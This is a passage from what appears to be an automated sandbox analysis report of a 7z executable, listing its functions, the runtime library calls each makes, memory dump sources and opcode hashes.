                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
                                                                                                                                                                                                                                                              • Instruction ID: 7779f128cb06907e03af0221543cda9e821327379dc57419d180a7104ab5245e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F4214BB3F0466096C734DB1AB80069A7296F385BA4F24522AFE5647784DB78C942C744
                                                                                                                                                                                                                                                              Function 006D9078 Relevance: 1.3, APIs: 1, Instructions: 67COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • memmove.MSVCRT(?,?,?,?,?,006D9B61), ref: 006D911C
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: malloc.MSVCRT ref: 006B2134
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: _CxxThrowException.MSVCRT ref: 006B214F
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ExceptionThrowmallocmemmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2847158419-0
                                                                                                                                                                                                                                                              • Opcode ID: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
                                                                                                                                                                                                                                                              • Instruction ID: 5e5942734da0ceff063e24ef87c78cf1c6bbd3a93c4be20d83516eb9bcefb8cc
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: E021E173201B4185DB10DF1AF81476AB3A6F784FA8F188219DF6807394DF38C492C750
                                                                                                                                                                                                                                                              Function 006BC90C Relevance: 1.3, APIs: 1, Instructions: 64COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ErrorLast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1452528299-0
                                                                                                                                                                                                                                                              • Opcode ID: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
                                                                                                                                                                                                                                                              • Instruction ID: d0b9e6ce06fd1fbff378fda51a1f984f4872f58005d7d52fec1dbb7db66f8fc6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 25113AE271565087FB30AB6CE4502E86253F7407B1B54403ADBCA87B14DA6ACED39341
                                                                                                                                                                                                                                                              Function 006E3EE0 Relevance: 1.3, APIs: 1, Instructions: 41COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006D419C: free.MSVCRT ref: 006D41B9
                                                                                                                                                                                                                                                                • Part of subcall function 006D419C: free.MSVCRT ref: 006D41C5
                                                                                                                                                                                                                                                                • Part of subcall function 006D419C: free.MSVCRT ref: 006D41D1
                                                                                                                                                                                                                                                                • Part of subcall function 006D419C: free.MSVCRT ref: 006D41DD
                                                                                                                                                                                                                                                                • Part of subcall function 006D419C: free.MSVCRT ref: 006D41E6
                                                                                                                                                                                                                                                                • Part of subcall function 006D419C: free.MSVCRT ref: 006D41EF
                                                                                                                                                                                                                                                                • Part of subcall function 006D419C: free.MSVCRT ref: 006D41F8
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006E3F45
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
                                                                                                                                                                                                                                                              • Instruction ID: 732c4fb0bdc052ebe717beebf40fe1706de4ec96c28b46ed2c463b952e5d36a8
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 71012D73A213A0CAC7219F1DC14116DBB65F759FE8328911ADB4907760EB32CC83C791
                                                                                                                                                                                                                                                              Function 006B8624 Relevance: 1.3, APIs: 1, Instructions: 35COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
                                                                                                                                                                                                                                                              • Instruction ID: 737689530ee2e462b4349e441a0ca989883a2f825b80b66ba52cf0e5dd0107f7
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 55011DB63562408AE710CF18D56C39E7BA1B7D5B68F140218DBA44B3D1C77AC58ACB94
                                                                                                                                                                                                                                                              Function 006BCB78 Relevance: 1.3, APIs: 1, Instructions: 32COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: ErrorLast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1452528299-0
                                                                                                                                                                                                                                                              • Opcode ID: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
                                                                                                                                                                                                                                                              • Instruction ID: 5023de6c15bb7fda4f1542b2c678cb497c4cbe3661c976ffead5f5e02f0e07a5
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 34F0E5E23101488BCB10DF7999C12EC21A3FB487A5F901439EF8687705EA38CCE9C728
                                                                                                                                                                                                                                                              Function 006BCB34 Relevance: 1.3, APIs: 1, Instructions: 22COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B89D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 006B89EA
                                                                                                                                                                                                                                                              • GetLastError.KERNEL32 ref: 006BCB49
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CloseErrorHandleLast
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 918212764-0
                                                                                                                                                                                                                                                              • Opcode ID: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
                                                                                                                                                                                                                                                              • Instruction ID: dece26a30e1f5e86b1840507f1638ae691e083cd273749c0a434dccd7bf2eef5
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C0D05BC175049586DB606BBD58D13FC0083A718761F901439DE5BC7352E8188ED9632D
                                                                                                                                                                                                                                                              Function 006B3314 Relevance: 1.3, APIs: 1, Instructions: 18COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2162964266-0
                                                                                                                                                                                                                                                              • Opcode ID: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
                                                                                                                                                                                                                                                              • Instruction ID: 293ef882bcfcf2a751a42d1331e0c74795bc8a2b9f9373bd4aea8c20eb8b6d37
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 89D0A7E67406C887CA049F27D69152DA327DB8CFD4708D1289F080B70ACE30DCE5C744
                                                                                                                                                                                                                                                              Function 006B89D8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 006B89EA
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CloseHandle
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 2962429428-0
                                                                                                                                                                                                                                                              • Opcode ID: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
                                                                                                                                                                                                                                                              • Instruction ID: 6f158eff2cff9519416c25ecfdb2ce4db3fbd18f992ec71709cb0b0a2d32bd58
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: D1D0A7B2601985C0DF252F7ED8403B41356AB24F74F184320D9B04B3D0DF2589D6C301
                                                                                                                                                                                                                                                              Function 006BCDF4 Relevance: 1.3, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
                                                                                                                                                                                                                                                              • Instruction ID: 4d57c55bff88cf0bbfc731a4ee55b6e9ec2c746779a10e8241c160624e743a07
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A4C08C8178224842C949222F2F963EC02430F8ABE2F5C40309F480BB52DE5589E28704

                                                                                                                                                                                                                                                              Non-executed Functions

                                                                                                                                                                                                                                                              Function 006BF1B4 Relevance: 79.1, APIs: 39, Strings: 6, Instructions: 318COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID: Can not open mapping$Incorrect Map command$Map data error$MapViewOfFile error$Unsupported Map data$Unsupported Map data size
                                                                                                                                                                                                                                                              • API String ID: 1534225298-798110030
                                                                                                                                                                                                                                                              • Opcode ID: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
                                                                                                                                                                                                                                                              • Instruction ID: 2743c03f6f4361a0e77f2730c2bb7d8b8688aae7670450117d1c4db01147678d
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 26C18EB2218A4186CA50EF15F8907EEB362FBD1B90F941135EB8A43B79DF38D885C744
                                                                                                                                                                                                                                                              Function 006E2578 Relevance: 45.3, APIs: 36, Instructions: 335COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1294909896-0
                                                                                                                                                                                                                                                              • Opcode ID: 09bc4f2532211b0a1dcd74d5bcbdcf73cd8d77d2c3735b1cacf78fea39811e06
                                                                                                                                                                                                                                                              • Instruction ID: 56520807216730db7cc01816dc29e0762f514230eeae4e2402ea252fdc0a0ec1
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 09bc4f2532211b0a1dcd74d5bcbdcf73cd8d77d2c3735b1cacf78fea39811e06
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 5BD15B76209BC582CA70DF26E464AEE77A6F7C6B84F015146DB9E47B25CF38C885CB04
                                                                                                                                                                                                                                                              Function 006F66A8 Relevance: 43.9, APIs: 12, Strings: 13, Instructions: 131libraryloadertimeCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: Process$AddressCurrentProc$fputs$HandleLibraryLoadModuleTimesmemset
                                                                                                                                                                                                                                                              • String ID: MCycles$GetProcessMemoryInfo$Global $H$K32GetProcessMemoryInfo$Kernel $Physical$Process$Psapi.dll$QueryProcessCycleTime$User $Virtual $kernel32.dll
                                                                                                                                                                                                                                                              • API String ID: 600854398-319139910
                                                                                                                                                                                                                                                              • Opcode ID: d7f8a16aaa2cb06036e5352a6df670f190340cc497d1c3e3751f8c418c22ba6f
                                                                                                                                                                                                                                                              • Instruction ID: 989e4158602267153a6887cf64f9ef8d3a45b4556b2a57a0282f169b93322f7d
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d7f8a16aaa2cb06036e5352a6df670f190340cc497d1c3e3751f8c418c22ba6f
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4D51BE76705A8681EE20DF65F8507BA6362FB88B84F44803AEE4E43769EF3CD559C310
                                                                                                                                                                                                                                                              Function 006F3528 Relevance: 35.5, APIs: 19, Strings: 1, Instructions: 472stringCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$free$memset$strlen$memmove
                                                                                                                                                                                                                                                              • String ID: data:
                                                                                                                                                                                                                                                              • API String ID: 527563900-3222861102
                                                                                                                                                                                                                                                              • Opcode ID: 7f35ab0e6331bc4047d8b77d44634953cdcad3e9273a8884933ef37d4d4427da
                                                                                                                                                                                                                                                              • Instruction ID: fbd2f5c050550b235d36ae00cfb39e46df0ac71c1a2b784b457f26b2ff6072ff
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 7f35ab0e6331bc4047d8b77d44634953cdcad3e9273a8884933ef37d4d4427da
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9D02227220869987DB60DF29E4A03FE7763F7A4788F441015EB8A47768DF78CA4AC744
                                                                                                                                                                                                                                                              Function 006EFA0C Relevance: 26.7, APIs: 12, Strings: 3, Instructions: 489COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • memset.MSVCRT ref: 006EFAAC
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006EFAC0
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006EFC43
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: malloc.MSVCRT ref: 006B2134
                                                                                                                                                                                                                                                                • Part of subcall function 006B2130: _CxxThrowException.MSVCRT ref: 006B214F
                                                                                                                                                                                                                                                                • Part of subcall function 006EF820: _CxxThrowException.MSVCRT ref: 006EF88D
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F0031
                                                                                                                                                                                                                                                                • Part of subcall function 006EF8B8: memmove.MSVCRT ref: 006EF91E
                                                                                                                                                                                                                                                                • Part of subcall function 006EF8B8: free.MSVCRT ref: 006EF926
                                                                                                                                                                                                                                                                • Part of subcall function 006EF93C: memmove.MSVCRT ref: 006EF992
                                                                                                                                                                                                                                                                • Part of subcall function 006EF93C: free.MSVCRT ref: 006EF99A
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F00EA
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F00F2
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F0101
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F010A
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F0113
